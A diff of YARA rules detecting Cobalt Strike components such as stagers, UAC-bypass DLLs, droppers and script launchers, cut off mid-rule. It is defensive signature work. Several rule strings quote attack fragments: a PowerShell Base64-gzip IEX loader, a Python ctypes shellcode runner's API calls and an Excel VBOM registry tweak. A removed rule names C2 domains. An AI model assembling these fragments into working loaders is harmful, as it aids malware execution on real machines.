"https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Vbs_v3_3_to_v4_x.yara#L17-L41" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "d99693e3e521f42d19824955bef0cefb79b3a9dbf30f0d832180577674ee2b58" - logic_hash = "f2d0ca1414a60bf855543d99777ae5e83c451db41aba5e255e4c10b1e0bb7b47" + hash = "e0683f953062e63b2aabad7bc6d76a78748504b114329ef8e2ece808b3294135" + logic_hash = "c9df0e287eb0eacf7c6cfcf3f6d1043ae6f2fdacd3b22bd42ac71f4b0d7226ff" score = 75 - quality = 85 + quality = 83 tags = "" strings: - $version_sig = { 48 57 8B F2 83 F8 3A 0F 87 6E 02 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $ea = "Excel.Application" nocase + $vis = "Visible = False" nocase + $wsc = "Wscript.Shell" nocase + $regkey1 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" nocase + $regkey2 = "\\Excel\\Security\\AccessVBOM" nocase + $regwrite = ".RegWrite" nocase + $dw = "REG_DWORD" + $code = ".CodeModule.AddFromString" + $ao = { 41 75 74 6f 5f 4f 70 65 6e } + $da = ".DisplayAlerts" condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_0 +rule GCTI_Cobaltstrike_Resources_Httpsstager_Bin_V2_5_Through_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.0" + description = "Cobalt Strike's resources/httpsstager.bin signature for versions 2.5 to 4.x" author = "gssincla@google.com" - id = "132a1be8-f529-5141-ba03-fdf6df3d55d4" + id = "f45aa40a-3936-50f9-a60e-de7181862d19" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L374-L404" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager_Bin_v2_5_through_v4_x.yara#L17-L95" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "30251f22df7f1be8bc75390a2f208b7514647835f07593f25e470342fd2e3f52" - logic_hash = "951f1b52c14010261022f9f920d53d3c1e88f41461798a23e72083c981f9de76" + hash = "5ebe813a4c899b037ac0ee0962a439833964a7459b7a70f275ac73ea475705b3" + logic_hash = "d2f722809a59faf8ecd85e46eadf58bf23ba5f515ad9c949843f1e6bfeec1fbf" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F2 83 F8 3C 0F 87 89 02 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $apiLocator = { + 31 ?? + AC + C1 ?? 0D + 01 ?? + 38 ?? + 75 ?? + 03 [2] + 3B [2] + 75 ?? + 5? + 8B ?? 24 + 01 ?? + 66 8B [2] + 8B ?? 1C + 01 ?? + 8B ?? 8B + 01 ?? + 89 [3] + 5? + 5? + } + $InternetSetOptionA = { + 6A 04 + 5? + 6A 1F + 5? + 68 75 46 9E 86 + FF + } condition: - all of them + $apiLocator and $InternetSetOptionA } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_1 +rule GCTI_Cobaltstrike_Resources_Bypassuactoken_Dll_V3_11_To_V3_14 { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.1" + description = "Cobalt Strike's resources/bypassuactoken.dll from v3.11 to v3.14 (32-bit version)" author = "gssincla@google.com" - id = "aa511dee-69ea-53bd-be90-d2d03d08c550" + id = "b9f25fa5-bd1d-5ba0-9b1d-bb97e1dbf76b" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L406-L461" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_Dll_v3_11_to_v3_14.yara#L17-L151" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "4de723e784ef4e1633bbbd65e7665adcfb03dd75505b2f17d358d5a40b7f35cf" - logic_hash = "2d91add3aefe69b4525f93f7ea9f2fcbd7a6c506a224997ff73a2eeef63a8cd4" + hash = "df1c7256dfd78506e38c64c54c0645b6a56fc56b2ffad8c553b0f770c5683070" + logic_hash = "fe0780b7f4c16b55cfa00ea7de4da8ce349ec8a72de763b72e816ebc8e934b6d" score = 75 quality = 85 tags = "" strings: - $version_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $isHighIntegrityProcess = { + 5? + 5? + 5? + 8B ?? + 6A 19 + 5? + FF 15 [4] + 85 C0 + 75 ?? + FF 15 [4] + 83 ?? 7A + 75 ?? + FF [2] + 5? + FF 15 [4] + 8B ?? + 8D [2] + 5? + FF [2] + 5? + 6A 19 + 5? + FF 15 [4] + 85 C0 + 74 ?? + FF ?? + FF 15 [4] + 8A ?? + FE C8 + 0F B6 C0 + 5? + FF ?? + FF 15 [4] + B? 01 00 00 00 + 5? + 81 ?? 00 30 00 00 + } + $executeTaskmgr = { + 6A 3C + 8D ?? C4 + 8B ?? + 6A 00 + 5? + 8B ?? + E8 [4] + 83 C4 0C + C7 [2] 3C 00 00 00 + 8D [2] + C7 [2] 40 00 00 00 + C7 [6] + C7 [2] 00 00 00 00 + 5? + C7 [2] 00 00 00 00 + C7 [6] + C7 [2] 00 00 00 00 + FF 15 [4] + FF 75 FC + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_2 +rule GCTI_Cobaltstrike_Resources_Artifact32_And_Resources_Dropper_V1_49_To_V3_14 { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.2" + description = "Cobalt Strike's resources/artifact32{.exe,.dll,big.exe,big.dll} and resources/dropper.exe signature for versions 1.49 to 3.14" author = "gssincla@google.com" - id = "3ccbc0f2-241c-5c10-8930-4a3d264d3b57" + id = "243e3761-cbea-561c-97da-f6ba12ebc7ee" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L463-L528" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L17-L32" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "b490eeb95d150530b8e155da5d7ef778543836a03cb5c27767f1ae4265449a8d" - logic_hash = "e1fe0d58d86ad8c845d65608314007ce08e3e524fb92cdb33ddae860c640e3e9" + hash = "40fc605a8b95bbd79a3bd7d9af73fbeebe3fada577c99e7a111f6168f6a0d37a" + logic_hash = "437706c808bca28384a6e8e24fa3ae120a4ebe4166fa4ca3564c58b881fb23a8" score = 75 quality = 85 tags = "" - rs2 = "a93647c373f16d61c38ba6382901f468247f12ba8cbe56663abb2a11ff2a5144" strings: - $version_sig = { 48 57 8B F2 83 F8 3D 0F 87 83 02 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } - $version3_1_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 } + $payloadDecoder = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 18 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 03 [2] 0F B6 00 31 ?? 88 ?? 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 12 } condition: - $version_sig and $decoder and not $version3_1_sig + any of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_3 +rule GCTI_Cobaltstrike_Resources_Artifact32_V3_1_And_V3_2 { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.3" + description = "Cobalt Strike's resources/artifact32{.dll,.exe,svc.exe,big.exe,big.dll,bigsvc.exe} and resources/artifact32uac(alt).dll signature for versions 3.1 and 3.2" author = "gssincla@google.com" - id = "7cce26c9-1403-535f-bd9d-19667c7e313c" + id = "4fff7f42-9f50-5945-8ec0-2438ac5c7000" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L530-L560" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L34-L60" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "158dba14099f847816e2fc22f254c60e09ac999b6c6e2ba6f90c6dd6d937bc42" - logic_hash = "f9b9b669aacc156a4e07eab0c6a638f9b9d828e018d1db89e9e2c922641744ac" + hash = "4f14bcd7803a8e22e81e74d6061d0df9e8bac7f96f1213d062a29a8523ae4624" + logic_hash = "7a0d33d0260c762b4aa67e4084d7474338c60aa684fd3e622614745d90350da8" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F1 83 F8 41 0F 87 F0 02 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 ?? 8A ?? 4? 88 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_4 +rule GCTI_Cobaltstrike_Resources_Artifact32_V3_14_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.4" + description = "Cobalt Strike's resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0" author = "gssincla@google.com" - id = "58a34ab6-c061-59a2-b929-8519d3d844e7" + id = "8a010305-dce5-55f4-b2dd-a736721efe22" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L562-L592" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L62-L89" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "5c40bfa04a957d68a095dd33431df883e3a075f5b7dea3e0be9834ce6d92daa3" - logic_hash = "f3372bc538092e30c62d9599f76f2115dc73faf7a5fd6f86c8d4cfaa35473810" + hash = "888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719" + logic_hash = "fc5c353c568e33df80fa5bab14d11112ca211e269043b83dba8b7d1a6a008a7b" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F1 83 F8 42 0F 87 F0 02 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $pushFmtStr = { C7 [3] 5C 00 00 00 C7 [3] 65 00 00 00 C7 [3] 70 00 00 00 C7 [3] 69 00 00 00 C7 [3] 70 00 00 00 F7 F1 C7 [3] 5C 00 00 00 C7 [3] 2E 00 00 00 C7 [3] 5C 00 00 00 } + $fmtStr = "%c%c%c%c%c%c%c%c%cMSSE-%d-server" condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_5_Hf1_And_3_5_1 +rule GCTI_Cobaltstrike_Resources_Bypassuac_X64_Dll_V3_3_To_V3_14_And_Sleeve_Bypassuac_X64_Dll_V4_0_And_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.5-hf1 and 3.5.1 (3.5.x)" + description = "Cobalt Strike's resources/bypassuac-x64.dll from v3.3 to v3.14 (64-bit version) and sleeve/bypassuac.x64.dll from v4.0 to at least v4.4" author = "gssincla@google.com" - id = "1532596e-be0e-58c2-8d3b-5120c793d677" + id = "eef83901-63d9-55a3-b115-03f420416177" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L594-L625" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_x64_Dll_v3_3_to_v3_14_and_Sleeve_Bypassuac_x64_Dll_v4_0_and_v4_x.yara#L17-L86" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "c78e70cd74f4acda7d1d0bd85854ccacec79983565425e98c16a9871f1950525" - logic_hash = "c2e975678815638803b04261d46bca216bc0b2f894a1f72fd0d5b949493401d1" + hash = "9ecf56e9099811c461d592c325c65c4f9f27d947cbdf3b8ef8a98a43e583aecb" + logic_hash = "d76e3601f61ae164a8df9048d59d15cd6913e64adb93132244e83f40bf67d86a" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F1 83 F8 43 0F 87 07 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $deleteFileCOM = { + 48 8B [5] + 45 33 ?? + 48 8B ?? + FF 90 90 00 00 00 + 85 C0 + 75 ?? + 48 8B [5] + 48 8B ?? + FF 92 A8 00 00 00 + 85 C0 + } + $copyFileCOM = { + 48 8B [5] + 4C 8B [5] + 48 8B [5] + 48 8B ?? + 4C 8B ?? + 48 89 [3] + FF 90 80 00 00 00 + 85 C0 + 0F 85 [4] + 48 8B [5] + 48 8B 11 + FF 92 A8 00 00 00 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_6 +rule GCTI_Cobaltstrike_Resources_Template_Py_V3_3_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.6" + description = "Cobalt Strike's resources/template.py signature for versions v3.3 to v4.x" author = "gssincla@google.com" - id = "7e7b5c22-82b3-5298-b794-b06d94a668d5" + id = "16aef9a9-b217-5462-93dc-f6273c99ddd0" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L627-L657" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Py_v3_3_to_v4_x.yara#L17-L36" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "495a744d0a0b5f08479c53739d08bfbd1f3b9818d8a9cbc75e71fcda6c30207d" - logic_hash = "3bd3f0b8625e131726fa92d68de041dae6c3d5642cbf22ac596d1d82da1d4a07" + hash = "d5cb406bee013f51d876da44378c0a89b7b3b800d018527334ea0c5793ea4006" + logic_hash = "3c26cea4b8f2b200bf58e939ae9ead7a7339d4ec0de8c72b3d9c7da897600081" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F9 83 F8 47 0F 87 2F 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $arch = "platform.architecture()" + $nope = "WindowsPE" + $alloc = "ctypes.windll.kernel32.VirtualAlloc" + $movemem = "ctypes.windll.kernel32.RtlMoveMemory" + $thread = "ctypes.windll.kernel32.CreateThread" + $wait = "ctypes.windll.kernel32.WaitForSingleObject" condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_7 +rule GCTI_Cobaltstrike_Resources_Reverse_Bin_V2_5_Through_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.7" + description = "Cobalt Strike's resources/reverse.bin signature for versions 2.5 to 4.x" author = "gssincla@google.com" - id = "6352a31c-34b8-5886-8e34-ef9221c22e6e" + id = "182dbcd0-1180-5516-abe3-cf2eebbd0e39" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L659-L689" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse_Bin_v2_5_through_v4_x.yara#L17-L104" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "f18029e6b12158fb3993f4951dab2dc6e645bb805ae515d205a53a1ef41ca9b2" - logic_hash = "6ceb2cec8402a4679bad42d367156c74e897af4188442fdebc70d6ce2dd78bd6" + hash = "887f666d6473058e1641c3ce1dd96e47189a59c3b0b85c8b8fccdd41b84000c7" + logic_hash = "c6c4fc477c7654ec07eb6ef4c6d53805a9b4881ba288754e1f50b3e4b134333c" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F9 83 F8 49 0F 87 47 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $apiLocator = { + 31 ?? + AC + C1 ?? 0D + 01 ?? + 38 ?? + 75 ?? + 03 [2] + 3B [2] + 75 ?? + 5? + 8B ?? 24 + 01 ?? + 66 8B [2] + 8B ?? 1C + 01 ?? + 8B ?? 8B + 01 ?? + 89 [3] + 5? + 5? + } + $ws2_32 = { + 5D + 68 33 32 00 00 + 68 77 73 32 5F + } + $connect = { + 6A 10 + 5? + 5? + 68 99 A5 74 61 + } condition: - all of them + $apiLocator and $ws2_32 and $connect } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_8 +rule GCTI_Cobaltstrike_Resources_Covertvpn_Dll_V2_1_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.8" + description = "Cobalt Strike's resources/covertvpn.dll signature for version v2.2 to v4.4" author = "gssincla@google.com" - id = "f76712a4-df1c-5e6b-b5ac-9c74f2e202fc" + id = "a65b855c-5703-5b9f-bb57-da8ebf898f9b" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L691-L731" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Covertvpn_Dll_v2_1_to_v4_x.yara#L17-L120" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603" - logic_hash = "a0c78dd7cda055bc76a8661b0416a302d7b05d03eeea483d2d1695093cd6dc90" + hash = "0a452a94d53e54b1df6ba02bc2f02e06d57153aad111171a94ec65c910d22dcf" + logic_hash = "1f6e4254fdfd4f9b13c2000333aabbb7da90d2df7ee1b12faa6ea3c066351468" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } - $xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go" - $c2_1 = "ns7.softline.top" xor - $c2_2 = "ns8.softline.top" xor - $c2_3 = "ns9.softline.top" xor + $dropComponentsAndActivateDriver_prologue = { + 5? + 68 [4] + 68 [4] + C7 [3-5] 00 00 00 00 + FF 15 [4] + 50 + FF 15 [4] + 8B ?? + 85 ?? + 74 ?? + 8D [3-5] + 5? + FF 15 [4] + 50 + } + $dropFile = { + 6A 00 + 5? + E8 [4] + 83 C4 08 + 83 F8 FF + 74 ?? + 5? + [0-5] + E8 [4] + 83 C4 ?? + [0-2] + 6A 00 + 68 80 01 00 00 + 6A 02 + 6A 00 + 6A 05 + 68 00 00 00 40 + 5? + FF 15 [4] + 8B ?? + 83 ?? FF + 75 ?? + FF 15 [4] + 5? + } + $nfp = "npf.sys" nocase + $wpcap = "wpcap.dll" nocase condition: - $version_sig and $decoder and not ( 2 of ( $c2_* ) or $xmrig_srcpath ) + all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11 +rule GCTI_Cobaltstrike_Resources_Command_Ps1_V2_5_To_V3_7_And_Resources_Compress_Ps1_V3_8_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.11" + description = "Cobalt Strike's resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x" author = "gssincla@google.com" - id = "00e42396-db81-5d43-90ee-5a97b379019e" + id = "c0b81deb-ed20-5f7e-8e15-e6a9e9362594" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-22" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L739-L770" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x.yara#L17-L33" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "2428b93464585229fd234677627431cae09cfaeb1362fe4f648b8bee59d68f29" - logic_hash = "24ca0a9c2249d1872a53dc228234bdc6803bdfe9e80847995e0951184a8d935c" + hash = "932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62" + logic_hash = "31cf47060757b086d325cd205724a7be8931bbbc6ff2f4be67a6179ee99c42ca" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B FA 83 F8 50 0F 87 11 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $ps1 = "$s=New-Object \x49O.MemoryStream(,[Convert]::\x46romBase64String(" nocase + $ps2 = "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();" nocase condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11_Bugfix_And_V3_12 +rule GCTI_Cobaltstrike_Resources_Bypassuactoken_X64_Dll_V3_11_To_V3_14 { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.11-bugfix and 3.12" + description = "Cobalt Strike's resources/bypassuactoken.x64.dll from v3.11 to v3.14 (64-bit version)" author = "gssincla@google.com" - id = "08ff2a2f-97bd-5839-b414-d67fbf2cdb0f" + id = "c89befcd-a622-5947-9ce3-a6031901a45a" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L772-L804" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_x64_Dll_v3_11_to_v3_14.yara#L17-L118" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "5912c96fffeabb2c5c5cdd4387cfbfafad5f2e995f310ace76ca3643b866e3aa" - logic_hash = "566eb14f918ad422d5a273390263e63ac37b00cd10ac3561e038fb1a27f85d80" + hash = "853068822bbc6b1305b2a9780cf1034f5d9d7127001351a6917f9dbb42f30d67" + logic_hash = "adfd212f2e470f666ab8a2168e976c11d3032c31dab7cf56963dae5fc0f6c5f9" score = 75 quality = 85 tags = "" - rs2 = "4476a93abe48b7481c7b13dc912090b9476a2cdf46a1c4287b253098e3523192" strings: - $version_sig = { 48 57 8B FA 83 F8 50 0F 87 0D 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $isHighIntegrityProcess = { + 83 ?? 7A + 75 ?? + 8B [3] + 33 ?? + FF 15 [4] + 44 [4] + 8D [2] + 48 8B ?? + 48 8D [3] + 48 8B ?? + 4C 8B ?? + 48 89 [3] + FF 15 [4] + 85 C0 + 74 ?? + 48 8B ?? + FF 15 [4] + 8D [2] + 8A ?? + 40 [2] + 0F B6 D1 + 48 8B 0F + FF 15 [4] + 81 ?? 00 30 00 00 + } + $executeTaskmgr = { + 44 8D ?? 70 + 48 8D [3] + E8 [4] + 83 [3] 00 + 48 8D [5] + 0F 57 ?? + 66 0F 7F [3] + 48 89 [3] + 48 8D [5] + 48 8D [3] + C7 [3] 70 00 00 00 + C7 [3] 40 00 00 00 + 48 89 [3] + FF 15 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_13 +rule GCTI_Cobaltstrike_Resources_Xor_Bin__64Bit_V3_12_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 3.13" + description = "Cobalt Strike's resource/xor64.bin signature for version 3.12 through 4.x" author = "gssincla@google.com" - id = "98dd32e6-9bb5-57b2-a5e5-1c74a0d1e6d3" + id = "5bb465ee-3bbd-5bfe-8b63-1f243de217bc" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L806-L836" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__64bit_v3_12_to_4_x.yara#L17-L38" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "362119e3bce42e91cba662ea80f1a7957a5c2b1e92075a28352542f31ac46a0c" - logic_hash = "adafac8692ad676b0168b3e829bc7948db72953b95c79d483ae1a05f1d4f9b2b" + hash = "01dba8783768093b9a34a1ea2a20f72f29fd9f43183f3719873df5827a04b744" + logic_hash = "aabaad09408ae292a0bbc678c334f9f54364b4f6b882846072c303bf826fc2da" score = 75 quality = 85 tags = "" strings: - $version_sig = { 4A 56 57 83 FA 5A 0F 87 2D 03 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } + $stub58 = {fc e8 ?? ?? ?? ?? [1-32] eb 